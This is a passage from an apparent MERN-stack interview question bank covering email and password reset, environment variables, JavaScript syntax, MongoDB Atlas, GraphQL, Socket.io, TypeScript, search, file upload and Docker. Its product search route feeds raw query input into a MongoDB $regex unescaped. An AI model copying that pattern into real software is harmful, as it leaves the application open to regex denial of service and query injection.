  else console.log("✅ Email server ready");
});

module.exports = transporter;

Email Service Module:

// services/emailService.js
const transporter = require("../config/email");

const sendEmail = async ({ to, subject, html, text }) => {
  const mailOptions = {
    from: `"MERN App" <${process.env.EMAIL_USER}>`,
    to,
    subject,
    html,       // HTML version
    text        // Plain text fallback
  };
  
  return await transporter.sendMail(mailOptions);
};

// Welcome Email
const sendWelcomeEmail = async (user) => {
  await sendEmail({
    to: user.email,
    subject: "Welcome to Our Platform! 🎉",
    html: `
      <div style="font-family: Arial; max-width: 600px; margin: auto;">
        <h2 style="color: #4CAF50;">Welcome, ${user.name}!</h2>
        <p>Thank you for joining our platform. We're excited to have you!</p>
        <a href="${process.env.CLIENT_URL}/dashboard" 
           style="background: #4CAF50; color: white; padding: 10px 20px; text-decoration: none; border-radius: 5px;">
          Get Started
        </a>
        <p>Best regards,<br>The MERN Team</p>
      </div>
    `
  });
};

// Password Reset Email with Token
const sendPasswordResetEmail = async (user, resetToken) => {
  const resetUrl = `${process.env.CLIENT_URL}/reset-password/${resetToken}`;
  
  await sendEmail({
    to: user.email,
    subject: "Password Reset Request",
    html: `
      <h2>Password Reset</h2>
      <p>You requested to reset your password. Click the link below:</p>
      <a href="${resetUrl}">Reset Password</a>
      <p><strong>This link expires in 1 hour.</strong></p>
      <p>If you didn't request this, ignore this email.</p>
    `
  });
};

module.exports = { sendWelcomeEmail, sendPasswordResetEmail };

Password Reset Feature (Complete):

const crypto = require("crypto");

// Request password reset
router.post("/forgot-password", async (req, res) => {
  const user = await User.findOne({ email: req.body.email });
  if (!user) return res.status(404).json({ message: "Email not found" });

  // Generate reset token
  const resetToken = crypto.randomBytes(32).toString("hex");
  const hashedToken = crypto.createHash("sha256").update(resetToken).digest("hex");

  // Save token to user (expires in 1 hour)
  user.resetPasswordToken = hashedToken;
  user.resetPasswordExpires = Date.now() + 3600000;
  await user.save();

  // Send email with unhashed token (token in URL)
  await sendPasswordResetEmail(user, resetToken);
  res.json({ message: "Reset email sent!" });
});

// Reset password with token
router.post("/reset-password/:token", async (req, res) => {
  const hashedToken = crypto.createHash("sha256").update(req.params.token).digest("hex");
  
  const user = await User.findOne({
    resetPasswordToken: hashedToken,
    resetPasswordExpires: { $gt: Date.now() } // Not expired
  });
  
  if (!user) return res.status(400).json({ message: "Invalid or expired token" });

  user.password = await bcrypt.hash(req.body.password, 12);
  user.resetPasswordToken = undefined;
  user.resetPasswordExpires = undefined;
  await user.save();

  res.json({ message: "Password reset successful!" });
});
32

How do you handle environment variables and configuration in MERN Stack?

Medium 📁 Express.js
💡
Detailed Answer
Scroll to read complete explanation

Environment Variables in MERN Stack

Environment variables store sensitive configuration data (database URLs, API keys, secrets) outside of source code. This prevents secrets from being committed to Git.

Backend Setup with dotenv:

// Install: npm install dotenv

// .env file (NEVER commit this to Git!)
PORT=5000
NODE_ENV=development
MONGODB_URI=mongodb://localhost:27017/mernapp
JWT_SECRET=my_super_secret_jwt_key_2025_never_share
JWT_EXPIRE=7d
CLIENT_URL=http://localhost:3000

# Cloudinary
CLOUD_NAME=my_cloudinary_name
CLOUD_API_KEY=123456789
CLOUD_API_SECRET=abc123def456

# Email (NodeMailer/SendGrid)
EMAIL_SERVICE=gmail
EMAIL_USER=myapp@gmail.com
EMAIL_PASS=my_app_password

# Redis
REDIS_URL=redis://localhost:6379

# Stripe Payment
STRIPE_SECRET_KEY=sk_test_abc123

// server.js - Load env variables FIRST before anything else!
require("dotenv").config(); // Must be at top!
const express = require("express");

const PORT = process.env.PORT || 5000;
const MONGO_URI = process.env.MONGODB_URI;

Configuration Module (Best Practice):

// config/index.js - Centralize all config with validation
const requiredEnvVars = [
  "MONGODB_URI",
  "JWT_SECRET",
  "CLIENT_URL"
];

// Validate required variables exist
requiredEnvVars.forEach(varName => {
  if (!process.env[varName]) {
    throw new Error(`Missing required environment variable: ${varName}`);
  }
});

module.exports = {
  // Server
  port: parseInt(process.env.PORT) || 5000,
  nodeEnv: process.env.NODE_ENV || "development",
  isProduction: process.env.NODE_ENV === "production",

  // Database
  mongoUri: process.env.MONGODB_URI,

  // JWT
  jwtSecret: process.env.JWT_SECRET,
  jwtExpire: process.env.JWT_EXPIRE || "7d",

  // Client
  clientUrl: process.env.CLIENT_URL,

  // Cloudinary
  cloudinary: {
    cloudName: process.env.CLOUD_NAME,
    apiKey: process.env.CLOUD_API_KEY,
    apiSecret: process.env.CLOUD_API_SECRET,
  }
};

// Usage in other files
const config = require("./config");
console.log(config.port); // 5000
console.log(config.isProduction); // false

Frontend – React Environment Variables:

// React REQUIRES variables to start with REACT_APP_
// .env (for development)
REACT_APP_API_URL=http://localhost:5000/api
REACT_APP_GOOGLE_MAPS_KEY=AIza...

// .env.production (for production build)
REACT_APP_API_URL=https://myapp.com/api

// In React code
const apiUrl = process.env.REACT_APP_API_URL;
const mapsKey = process.env.REACT_APP_GOOGLE_MAPS_KEY;

// NOTE: React env vars are baked into the build!
// NEVER put secret keys in React env vars - they're visible in browser!

.gitignore – Protect Your Secrets:

# .gitignore
.env
.env.local
.env.production
.env.development

# Share template instead (no real values)
# Create .env.example with placeholder values:
PORT=5000
MONGODB_URI=your_mongodb_uri_here
JWT_SECRET=your_jwt_secret_here
33

What are Arrow Functions in JavaScript? How are they different from regular functions?

Medium 📁 JavaScript Fundamentals
💡
Detailed Answer
Scroll to read complete explanation

Arrow Functions vs Regular Functions

Syntax Comparison:

// Regular function
function add(a, b) {
  return a + b;
}

// Arrow function variations
const add = (a, b) => a + b;          // Implicit return
const addFull = (a, b) => { return a + b; }; // Explicit return
const greet = name => `Hello, ${name}!`;     // Single param, no parens needed
const getObject = () => ({ name: "Priya" }); // Return object (wrap in parens!)

Key Differences:

Feature Regular Function Arrow Function
this binding Own this (dynamic) Inherits this from outer scope (lexical)
arguments object ✅ Has it ❌ No (use rest params)
Constructor ✅ Can use new ❌ Cannot use new
Hoisting ✅ Fully hoisted ❌ Not hoisted (const)
Prototype Has prototype No prototype

The "this" Difference (Most Important!):

// ❌ Regular function - "this" is undefined in class methods callback
class Timer {
  constructor() {
    this.seconds = 0;
  }
  
  start() {
    setInterval(function() {
      this.seconds++; // ❌ "this" here is window/global, not Timer!
      console.log(this.seconds); // NaN!
    }, 1000);
  }
}

// ✅ Arrow function - "this" is inherited from start() method
class Timer {
  constructor() {
    this.seconds = 0;
  }
  
  start() {
    setInterval(() => {
      this.seconds++; // ✅ "this" is the Timer instance!
      console.log(this.seconds); // 1, 2, 3...
    }, 1000);
  }
}

// ✅ Arrow functions in React event handlers
class Button extends React.Component {
  handleClick = () => {  // Arrow function as class field
    console.log(this.props.label); // "this" correctly refers to component
  }
  render() {
    return <button onClick={this.handleClick}>Click</button>;
  }
}

When to Use Arrow vs Regular:

// ✅ Use Arrow for: callbacks, event handlers, short functions
const doubled = numbers.map(n => n * 2);
app.get("/", (req, res) => res.send("Hello"));

// ✅ Use Regular for: object methods, constructors, when you need "this"
const user = {
  name: "Priya",
  greet: function() {
    return `Hello, I'm ${this.name}`; // "this" = user object
  }
};

// ❌ Arrow in object methods can cause "this" issues
const user2 = {
  name: "Ravi",
  greet: () => `Hello, I'm ${this.name}` // "this" = outer scope (not user2!)
};
34

What is MongoDB Atlas and how do you use it in production?

Medium 📁 MongoDB Basics
💡
Detailed Answer
Scroll to read complete explanation

MongoDB Atlas – Cloud Database

MongoDB Atlas is the official cloud-hosted database service for MongoDB. It is fully managed, meaning Atlas handles backups, scaling, updates, and security automatically.

Why Use Atlas in Production?

  • Managed Service – No database administration needed
  • Global Availability – Clusters in 80+ regions (AWS, GCP, Azure)
  • Automatic Backups – Point-in-time recovery
  • Built-in Security – Encryption at rest and in transit
  • Auto-Scaling – Scales with your app
  • Free Tier – 512MB storage for learning/small apps

Atlas Setup Steps:

// 1. Create account at mongodb.com/cloud/atlas
// 2. Create a new Project
// 3. Build a Cluster:
//    - Choose Cloud Provider (AWS recommended)
//    - Choose Region (nearest to your users)
//    - Choose Tier (M0 = Free, M10 = $57/month, M30 = Production)

// 4. Security Setup:
//    - Create Database User: admin / SecurePassword123!
//    - Network Access: Add IP Address
//      → 0.0.0.0/0 for all IPs (development)
//      → Specific IP for production servers

// 5. Get Connection String
// mongodb+srv://admin:password@cluster0.abc123.mongodb.net/myDatabase

Connecting to Atlas in Node.js:

// .env file
MONGODB_URI=mongodb+srv://admin:SecurePass@cluster0.xyz.mongodb.net/mernapp?retryWrites=true&w=majority

// server.js
const mongoose = require("mongoose");

const connectDB = async () => {
  try {
    const conn = await mongoose.connect(process.env.MONGODB_URI, {
      useNewUrlParser: true,
      useUnifiedTopology: true,
    });
    console.log(`✅ MongoDB Atlas Connected: ${conn.connection.host}`);
  } catch (error) {
    console.error("❌ MongoDB Connection Error:", error.message);
    process.exit(1); // Exit process on connection failure
  }
};

// Handle disconnection
mongoose.connection.on("disconnected", () => {
  console.log("MongoDB disconnected! Reconnecting...");
});

module.exports = connectDB;

// In server.js main file
connectDB();

Atlas Features for Production:

// 1. Performance Advisor - Suggests indexes automatically
// 2. Real-Time Performance Panel - Monitor queries
// 3. Data Explorer - Browse data visually
// 4. Charts - Create data visualizations

// 5. Atlas Search (Full-Text Search)
const results = await Product.aggregate([
  {
    $search: {
      index: "product_search",
      text: {
        query: "laptop gaming",
        path: ["name", "description"],
        fuzzy: { maxEdits: 1 } // Typo tolerance!
      }
    }
  },
  { $limit: 10 }
]);
35

What is the Spread Operator and Rest Parameters in JavaScript?

Medium 📁 JavaScript Fundamentals
💡
Detailed Answer
Scroll to read complete explanation

Spread Operator (...) and Rest Parameters

Both use the ... (three dots) syntax but in different contexts:

  • Spread – Expands (spreads out) an iterable into individual elements
  • Rest – Collects multiple elements into a single array

Spread Operator Examples:

// 1. Spread in Arrays
const fruits = ["apple", "banana", "cherry"];
const moreFruits = ["mango", ...fruits, "grape"];
console.log(moreFruits); // ["mango", "apple", "banana", "cherry", "grape"]

// Copy array (shallow copy)
const original = [1, 2, 3];
const copy = [...original]; // New array, not a reference!
copy.push(4);
console.log(original); // [1, 2, 3] - unchanged
console.log(copy);     // [1, 2, 3, 4]

// Merge arrays
const arr1 = [1, 2, 3];
const arr2 = [4, 5, 6];
const merged = [...arr1, ...arr2]; // [1, 2, 3, 4, 5, 6]

// 2. Spread in Objects
const user = { name: "Priya", age: 25 };
const userWithRole = { ...user, role: "admin" }; // Add new property
console.log(userWithRole); // { name: "Priya", age: 25, role: "admin" }

// Update specific property (immutable update)
const updatedUser = { ...user, age: 26 }; // age overrides original
console.log(updatedUser); // { name: "Priya", age: 26 }

// THIS IS HOW REACT STATE IS UPDATED IMMUTABLY!
setUser(prev => ({ ...prev, age: 26 })); // Spread previous, override age

// Merge objects (last property wins)
const defaults = { theme: "light", language: "en", notifications: true };
const userPrefs = { theme: "dark", fontSize: 14 };
const settings = { ...defaults, ...userPrefs }; // userPrefs overrides defaults
console.log(settings); // { theme: "dark", language: "en", notifications: true, fontSize: 14 }

// 3. Spread with Function Calls
const numbers = [5, 2, 8, 1, 9, 3];
console.log(Math.max(...numbers)); // 9 (instead of Math.max(5, 2, 8, 1, 9, 3))
console.log(Math.min(...numbers)); // 1

Rest Parameters:

// Collect remaining arguments into array
function sum(...numbers) {
  return numbers.reduce((total, num) => total + num, 0);
}

console.log(sum(1, 2, 3));        // 6
console.log(sum(1, 2, 3, 4, 5)); // 15
console.log(sum(10));             // 10

// First params named, rest collected
function createUser(name, email, ...permissions) {
  console.log(name);        // "Priya"
  console.log(email);       // "priya@test.com"
  console.log(permissions); // ["read", "write", "delete"]
}
createUser("Priya", "priya@test.com", "read", "write", "delete");

React State Update Pattern (Critical for Interviews!):

// Updating nested state correctly with spread
const [form, setForm] = useState({
  user: { name: "", email: "" },
  address: { city: "", pincode: "" }
});

// Update nested city
setForm(prev => ({
  ...prev,                        // Keep all top-level
  address: {
    ...prev.address,              // Keep all address fields
    city: "Chennai"               // Override only city
  }
}));
Advertisement
36

What is Destructuring in JavaScript? Give examples.

Medium 📁 JavaScript Fundamentals
💡
Detailed Answer
Scroll to read complete explanation

Destructuring in JavaScript

Destructuring is an ES6 feature that allows you to unpack values from arrays or properties from objects into distinct variables. It makes code cleaner and more readable.

1. Object Destructuring:

// Traditional way
const user = { name: "Priya", age: 25, city: "Chennai", role: "developer" };
const name = user.name;
const age = user.age;

// ✅ Destructuring way
const { name, age, city, role } = user;
console.log(name); // "Priya"
console.log(age);  // 25

// Rename while destructuring
const { name: userName, age: userAge } = user;
console.log(userName); // "Priya"

// Default values
const { name, salary = 50000 } = user; // salary not in user, uses default 50000

// Nested object destructuring
const employee = {
  id: 1,
  name: "Ravi",
  address: {
    city: "Bangalore",
    state: "Karnataka",
    pincode: "560001"
  }
};

const { name: empName, address: { city, pincode } } = employee;
console.log(empName); // "Ravi"
console.log(city);    // "Bangalore"

// Rest in object destructuring
const { id, ...rest } = employee;
console.log(rest); // { name: "Ravi", address: {...} } - everything except id

2. Array Destructuring:

const colors = ["red", "green", "blue", "yellow", "orange"];

// Traditional
const first = colors[0];
const second = colors[1];

// ✅ Destructuring
const [first, second, third] = colors;
console.log(first);  // "red"
console.log(third);  // "blue"

// Skip elements with commas
const [, , blue] = colors; // Skip first two
console.log(blue); // "blue"

// Default values
const [a, b, c = "purple"] = ["red", "green"];
console.log(c); // "purple" - default used

// Swap variables (no temp variable needed!)
let x = 10, y = 20;
[x, y] = [y, x];
console.log(x, y); // 20, 10

// Rest in array destructuring
const [head, ...tail] = [1, 2, 3, 4, 5];
console.log(head); // 1
console.log(tail); // [2, 3, 4, 5]

3. Destructuring in Function Parameters:

// React component props destructuring
function UserCard({ name, age, city = "Unknown", onDelete }) {
  return <div>{name}, {age}, {city}</div>;
}

// API response destructuring
async function getUserData(userId) {
  const { data: { user, token } } = await axios.get(`/api/users/${userId}`);
  return { user, token };
}

// useState destructuring (React)
const [count, setCount] = useState(0); // Array destructuring!
const [{ name, email }, setUser] = useState({ name: "", email: "" });

4. Destructuring in Loops:

const users = [
  { id: 1, name: "Priya", role: "admin" },
  { id: 2, name: "Ravi", role: "user" }
];

for (const { id, name, role } of users) {
  console.log(`${id}: ${name} is ${role}`);
}

// Object.entries with destructuring
const config = { apiUrl: "https://api.example.com", timeout: 5000 };
for (const [key, value] of Object.entries(config)) {
  console.log(`${key}: ${value}`);
}
37

What is the difference between REST API and GraphQL?

Medium 📁 API Design
💡
Detailed Answer
Scroll to read complete explanation

REST API vs GraphQL

REST API:

Representational State Transfer – multiple endpoints, each returns fixed data structure

// Multiple requests needed to get user data with posts and comments:
GET /api/users/123          → User data (but no posts)
GET /api/users/123/posts    → Posts (but no comments)  
GET /api/posts/456/comments → Comments

// Problem: Over-fetching and Under-fetching!
// Over-fetching: GET /users returns 50 fields, you only need name and email
// Under-fetching: Need 3 API calls to build one page

GraphQL:

Query language for APIs – single endpoint, client specifies exactly what data it needs

// Single request gets EXACTLY what you need!
POST /graphql
{
  query {
    user(id: "123") {
      name        # Only these fields!
      email
      posts {
        title
        comments {
          text
          author { name }
        }
      }
    }
  }
}
// Response has EXACTLY these fields - no more, no less!

GraphQL in Node.js (Apollo Server):

const { ApolloServer, gql } = require("apollo-server-express");

// Schema Definition
const typeDefs = gql`
  type User {
    id: ID!
    name: String!
    email: String!
    posts: [Post!]!
  }

  type Post {
    id: ID!
    title: String!
    content: String!
    author: User!
  }

  type Query {
    users: [User!]!
    user(id: ID!): User
    posts: [Post!]!
  }

  type Mutation {
    createUser(name: String!, email: String!): User!
    deleteUser(id: ID!): Boolean!
  }
`;

// Resolvers
const resolvers = {
  Query: {
    users: () => User.find(),
    user: (_, { id }) => User.findById(id),
  },
  User: {
    posts: (user) => Post.find({ authorId: user.id })
  },
  Mutation: {
    createUser: async (_, { name, email }) => {
      return await User.create({ name, email });
    }
  }
};

const server = new ApolloServer({ typeDefs, resolvers });
await server.start();
server.applyMiddleware({ app });

REST vs GraphQL – When to Use:

Criteria REST GraphQL
Simplicity ✅ Simpler to set up Complex setup
Flexibility Fixed responses ✅ Client controls data
Caching ✅ Easy (HTTP caching) Complex
Mobile Apps Over-fetching issues ✅ Perfect for mobile
File Upload ✅ Easy Needs workaround
Best for Simple CRUD APIs Complex data, mobile apps

💡 MNC Reality: Most companies (TCS, Infosys) use REST. Companies like GitHub, Twitter, Shopify, Facebook use GraphQL. Know both!

38

What is Socket.io and how is it different from HTTP?

Medium 📁 WebSockets & Real-Time
💡
Detailed Answer
Scroll to read complete explanation

Socket.io vs HTTP

HTTP (Request-Response):

// Traditional HTTP:
Client: "Hey server, any new messages?" (Request)
Server: "No, nothing yet." (Response - connection closed!)
Client: "Hey server, any new messages?" (Request again after 1s)
Server: "Yes! Here: Hello from Priya" (Response - connection closed again!)

// This is called POLLING - very inefficient!
// 1000 requests per minute just to check for updates!

WebSocket (Persistent Connection):

// WebSocket:
Client: "Let's connect!" 
Server: "Sure, connection established!" 
// ... Connection stays OPEN ...
Server: "Hey, new message arrived: Hello from Priya!" (Pushes instantly!)
// No polling needed! Server can send data anytime!

Comparison Table:

Feature HTTP WebSocket
Connection Opens & closes per request Persistent, stays open
Direction Client → Server only Bidirectional (both ways)
Overhead HTTP headers every request Small frames after handshake
Use Case REST APIs, File transfers Chat, Gaming, Live data
Protocol http:// or https:// ws:// or wss://

Socket.io – What Makes It Special:

  • Built on WebSockets with automatic fallback to HTTP polling if WebSocket not supported
  • Rooms & Namespaces – Group users into channels
  • Auto-reconnect – Reconnects if connection drops
  • Event-based – Custom events with any data
  • Works across all browsers

Basic Socket.io Usage:

// Backend
const io = require("socket.io")(server);

io.on("connection", (socket) => {
  // Server → Client
  socket.emit("welcome", { message: "Connected!" });
  
  // Client → Server → All others in room
  socket.on("chat:message", (data) => {
    io.to(data.room).emit("chat:message", data);
  });
});

// Frontend (React)
import io from "socket.io-client";
const socket = io("http://localhost:5000");

socket.on("welcome", (data) => console.log(data.message));
socket.emit("chat:message", { room: "general", text: "Hello!" });

Real-Time Use Cases in MNC Apps:

  • 💬 Chat applications (Slack, Teams)
  • 📊 Live dashboards (stock prices, analytics)
  • 🎮 Multiplayer games
  • 🔔 Live notifications
  • 📍 Real-time location tracking (Uber, Swiggy)
  • 👥 Collaborative editing (Google Docs)
39

What is TypeScript and why is it used with MERN Stack?

Medium 📁 TypeScript
💡
Detailed Answer
Scroll to read complete explanation

What is TypeScript?

TypeScript is a statically typed superset of JavaScript developed by Microsoft. It adds type annotations to JavaScript, catching errors at compile time instead of runtime.

Why TypeScript with MERN?

  • Catch Errors Early – Type errors found before running code
  • Better IDE Support – Autocomplete, refactoring, navigation
  • Self-documenting Code – Types describe what functions expect/return
  • Easier Refactoring – Rename variables/functions safely
  • Team Scalability – Easier to understand others' code

TypeScript Basics:

// Basic Types
let name: string = "Priya";
let age: number = 25;
let isActive: boolean = true;
let scores: number[] = [90, 85, 78];
let mixed: (string | number)[] = ["React", 5, "Node"];

// Any (avoid this! Defeats TypeScript purpose)
let anything: any = "hello";

// Interface - define object shape
interface User {
  id: string;
  name: string;
  email: string;
  age?: number;          // ? = optional
  readonly role: string; // readonly = cannot be changed after creation
}

// Function with types
function createUser(name: string, email: string): User {
  return {
    id: Math.random().toString(36),
    name,
    email,
    role: "user"
  };
}

// Generic function
function getFirstItem<T>(arr: T[]): T {
  return arr[0];
}

const firstUser = getFirstItem<User>(users); // TypeScript knows it's User!
const firstNum = getFirstItem<number>([1, 2, 3]); // TypeScript knows it's number!

TypeScript with Express:

// types/index.ts - Define shared types
export interface UserPayload {
  userId: string;
  email: string;
  role: "user" | "admin"; // Union type - only these values allowed
}

// Extend Express Request type
declare global {
  namespace Express {
    interface Request {
      user?: UserPayload; // Add user to request
    }
  }
}

// routes/users.ts
import { Request, Response, NextFunction } from "express";

const getUsers = async (req: Request, res: Response, next: NextFunction) => {
  try {
    const users = await User.find();
    res.status(200).json(users);
  } catch (error) {
    next(error); // TypeScript enforces proper error passing
  }
};

TypeScript with React:

// Component Props typing
interface ButtonProps {
  label: string;
  onClick: () => void;
  variant?: "primary" | "secondary" | "danger";
  disabled?: boolean;
}

const Button: React.FC<ButtonProps> = ({
  label,
  onClick,
  variant = "primary",
  disabled = false
}) => {
  return (
    <button
      onClick={onClick}
      disabled={disabled}
      className={`btn btn-${variant}`}
    >
      {label}
    </button>
  );
};

// useState with TypeScript
const [user, setUser] = useState<User | null>(null);
const [products, setProducts] = useState<Product[]>([]);
40

How do you implement Search and Filtering in MERN Stack?

Medium 📁 Common Interview Problems
💡
Detailed Answer
Scroll to read complete explanation

Search & Filtering in MERN Stack

Backend – Express + MongoDB Search API:

// routes/products.js
router.get("/products", async (req, res) => {
  try {
    const {
      search,        // ?search=laptop
      category,      // ?category=Electronics
      minPrice,      // ?minPrice=1000
      maxPrice,      // ?maxPrice=50000
      sort,          // ?sort=price_asc or price_desc
      page = 1,
      limit = 10
    } = req.query;

    // Build dynamic MongoDB query
    const query = {};

    // Text search (requires text index)
    if (search) {
      query.$or = [
        { name: { $regex: search, $options: "i" } },     // case-insensitive
        { description: { $regex: search, $options: "i" } }
      ];
    }

    // Category filter
    if (category && category !== "All") {
      query.category = category;
    }

    // Price range filter
    if (minPrice || maxPrice) {
      query.price = {};
      if (minPrice) query.price.$gte = Number(minPrice);
      if (maxPrice) query.price.$lte = Number(maxPrice);
    }

    // Sort options
    let sortOption = { createdAt: -1 }; // Default: newest first
    if (sort === "price_asc") sortOption = { price: 1 };
    if (sort === "price_desc") sortOption = { price: -1 };
    if (sort === "name_asc") sortOption = { name: 1 };
    if (sort === "rating_desc") sortOption = { rating: -1 };

    // Pagination
    const skip = (Number(page) - 1) * Number(limit);

    // Execute query
    const [products, total] = await Promise.all([
      Product.find(query).sort(sortOption).skip(skip).limit(Number(limit)).lean(),
      Product.countDocuments(query)
    ]);

    res.json({
      products,
      pagination: {
        currentPage: Number(page),
        totalPages: Math.ceil(total / Number(limit)),
        totalItems: total,
        itemsPerPage: Number(limit)
      }
    });
  } catch (err) {
    res.status(500).json({ message: err.message });
  }
});

Frontend – React Search with Debouncing:

import { useState, useEffect, useCallback } from "react";

function ProductSearch() {
  const [products, setProducts] = useState([]);
  const [search, setSearch] = useState("");
  const [category, setCategory] = useState("All");
  const [priceRange, setPriceRange] = useState({ min: "", max: "" });
  const [sort, setSort] = useState("newest");
  const [page, setPage] = useState(1);
  const [loading, setLoading] = useState(false);
  const [totalPages, setTotalPages] = useState(1);

  // Debounce search - wait 500ms after user stops typing
  const [debouncedSearch, setDebouncedSearch] = useState(search);
  
  useEffect(() => {
    const timer = setTimeout(() => setDebouncedSearch(search), 500);
    return () => clearTimeout(timer);
  }, [search]);

  // Fetch when filters change
  useEffect(() => {
    const fetchProducts = async () => {
      setLoading(true);
      try {
        const params = new URLSearchParams({
          search: debouncedSearch,
          category,
          minPrice: priceRange.min,
          maxPrice: priceRange.max,
          sort,
          page,
          limit: 12
        });

        const res = await fetch(`/api/products?${params}`);
        const data = await res.json();
        setProducts(data.products);
        setTotalPages(data.pagination.totalPages);
      } finally {
        setLoading(false);
      }
    };
    fetchProducts();
  }, [debouncedSearch, category, priceRange, sort, page]);

  // Reset to page 1 when filters change
  useEffect(() => { setPage(1); }, [debouncedSearch, category, priceRange, sort]);

  return (
    <div>
      <input
        placeholder="Search products..."
        value={search}
        onChange={e => setSearch(e.target.value)}
      />
      <select value={sort} onChange={e => setSort(e.target.value)}>
        <option value="newest">Newest First</option>
        <option value="price_asc">Price: Low to High</option>
        <option value="price_desc">Price: High to Low</option>
      </select>
      {/* Products grid */}
      {loading ? <p>Loading...</p> : products.map(p => <ProductCard key={p._id} product={p} />)}
      {/* Pagination */}
      {Array.from({ length: totalPages }, (_, i) => (
        <button key={i+1} onClick={() => setPage(i+1)} disabled={page === i+1}>{i+1}</button>
      ))}
    </div>
  );
}

💡 Debouncing Tip: Always debounce search input! Without it, an API call fires for every keystroke (1000ms text = 1000 API calls). With 500ms debounce, only one call fires when user stops typing.

Advertisement
41

How do you implement file upload in MERN Stack?

Medium 📁 Common Interview Problems
💡
Detailed Answer
Scroll to read complete explanation

File Upload in MERN Stack using Multer & Cloudinary

Backend Setup:

// Install: npm install multer cloudinary multer-storage-cloudinary

// config/cloudinary.js
const cloudinary = require("cloudinary").v2;
cloudinary.config({
  cloud_name: process.env.CLOUD_NAME,
  api_key: process.env.CLOUD_API_KEY,
  api_secret: process.env.CLOUD_API_SECRET
});

// Multer-Cloudinary Storage
const { CloudinaryStorage } = require("multer-storage-cloudinary");
const storage = new CloudinaryStorage({
  cloudinary,
  params: {
    folder: "mern-uploads",      // Cloudinary folder name
    allowed_formats: ["jpg", "jpeg", "png", "pdf"],
    transformation: [{ width: 500, height: 500, crop: "limit" }] // Resize
  }
});

const upload = multer({
  storage,
  limits: { fileSize: 5 * 1024 * 1024 }, // 5MB limit
  fileFilter: (req, file, cb) => {
    const allowed = ["image/jpeg", "image/png", "image/webp", "application/pdf"];
    if (allowed.includes(file.mimetype)) {
      cb(null, true);
    } else {
      cb(new Error("Invalid file type. Only JPG, PNG, and PDF allowed!"), false);
    }
  }
});

module.exports = upload;

// routes/upload.js
const upload = require("../config/cloudinary");

// Single file upload
router.post("/upload/single", upload.single("image"), async (req, res) => {
  try {
    if (!req.file) return res.status(400).json({ message: "No file uploaded" });
    
    res.status(200).json({
      message: "File uploaded successfully!",
      url: req.file.path,      // Cloudinary URL
      publicId: req.file.filename
    });
  } catch (err) {
    res.status(500).json({ message: err.message });
  }
});

// Multiple files upload
router.post("/upload/multiple", upload.array("images", 5), async (req, res) => {
  const urls = req.files.map(file => file.path);
  res.json({ urls });
});

// Profile picture upload with user update
router.put("/user/avatar", authMiddleware, upload.single("avatar"), async (req, res) => {
  try {
    // Delete old image from Cloudinary
    if (req.user.avatarPublicId) {
      await cloudinary.uploader.destroy(req.user.avatarPublicId);
    }
    
    await User.findByIdAndUpdate(req.user.userId, {
      avatar: req.file.path,
      avatarPublicId: req.file.filename
    });
    
    res.json({ avatar: req.file.path });
  } catch (err) {
    res.status(500).json({ message: err.message });
  }
});

Frontend – React File Upload:

function ProfileUpload() {
  const [preview, setPreview] = useState(null);
  const [uploading, setUploading] = useState(false);
  const [progress, setProgress] = useState(0);

  const handleFileSelect = (e) => {
    const file = e.target.files[0];
    if (!file) return;
    
    // Preview before upload
    const reader = new FileReader();
    reader.onload = () => setPreview(reader.result);
    reader.readAsDataURL(file);
  };

  const handleUpload = async (e) => {
    const file = e.target.files[0];
    if (!file) return;

    const formData = new FormData();
    formData.append("image", file);

    setUploading(true);
    try {
      const response = await axios.post("/api/upload/single", formData, {
        headers: { "Content-Type": "multipart/form-data" },
        onUploadProgress: (progressEvent) => {
          const percent = Math.round(
            (progressEvent.loaded * 100) / progressEvent.total
          );
          setProgress(percent);
        }
      });
      console.log("Uploaded URL:", response.data.url);
    } finally {
      setUploading(false);
    }
  };

  return (
    <div>
      <input type="file" accept="image/*" onChange={handleFileSelect} />
      {preview && <img src={preview} alt="Preview" style={{ width: 200 }} />}
      {uploading && <progress value={progress} max={100} />}
    </div>
  );
}
42

What is Docker? How is it used in MERN Stack development?

Medium 📁 Git & DevOps
💡
Detailed Answer
Scroll to read complete explanation

What is Docker?

Docker is a containerization platform that packages your application and its dependencies into a container – a lightweight, standalone, executable unit that runs consistently on any machine.

Key Concepts:

  • Image – Blueprint for a container (like a class in OOP)
  • Container – Running instance of an image (like an object)
  • Dockerfile – Instructions to build an image
  • Docker Compose – Run multiple containers together
  • Registry – Store and share images (Docker Hub)

Dockerfile for Node.js/Express Backend:

# Backend Dockerfile
FROM node:18-alpine          # Base image

WORKDIR /app                 # Set working directory

COPY package*.json ./        # Copy package files first
RUN npm install              # Install dependencies (cached if package.json unchanged)

COPY . .                     # Copy source code

EXPOSE 5000                  # Expose port

CMD ["node", "server.js"]    # Start command

Dockerfile for React Frontend:

# Frontend Dockerfile (Multi-stage build)
# Stage 1: Build
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
RUN npm run build            # Creates /app/build

# Stage 2: Serve with Nginx
FROM nginx:alpine
COPY --from=builder /app/build /usr/share/nginx/html
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

Docker Compose – Run Entire MERN App:

# docker-compose.yml
version: "3.8"

services:
  mongodb:
    image: mongo:6.0
    ports:
      - "27017:27017"
    volumes:
      - mongo_data:/data/db   # Persist data
    environment:
      MONGO_INITDB_ROOT_USERNAME: admin
      MONGO_INITDB_ROOT_PASSWORD: password

  backend:
    build: ./backend
    ports:
      - "5000:5000"
    depends_on:
      - mongodb              # Wait for MongoDB to start
    environment:
      MONGODB_URI: mongodb://admin:password@mongodb:27017/mernapp
      JWT_SECRET: your_secret
    volumes:
      - ./backend:/app       # Hot reload in development
      - /app/node_modules

  frontend:
    build: ./frontend
    ports:
      - "3000:80"
    depends_on:
      - backend

volumes:
  mongo_data:

Running the Application:

docker-compose up --build   # Start all services
docker-compose down          # Stop all services
docker-compose logs backend  # View logs

💡 Why Docker in MNCs? "It works on my machine" problem is solved. The same container runs identically on developer laptop, testing server, and production!

43

What is Event Bubbling and Event Capturing in JavaScript?

Medium 📁 JavaScript Fundamentals
💡
Detailed Answer
Scroll to read complete explanation

Event Propagation in JavaScript

When you click an element, the event doesn't just trigger on that element. It travels through the DOM in 3 phases.

3 Phases of Event Propagation:

HTML Structure:
<div id="grandparent">      ← 3. Event reaches here (bubbling phase)
  <div id="parent">         ← 2. Then travels here
    <button id="child">     ← 1. User clicks here (target)
      Click Me
    </button>
  </div>
</div>

// Phase 1: Capturing (top → down)
//   Window → Document → HTML → Body → Grandparent → Parent → Button

// Phase 2: Target (element itself)
//   Button (click event fires)

// Phase 3: Bubbling (bottom → up)
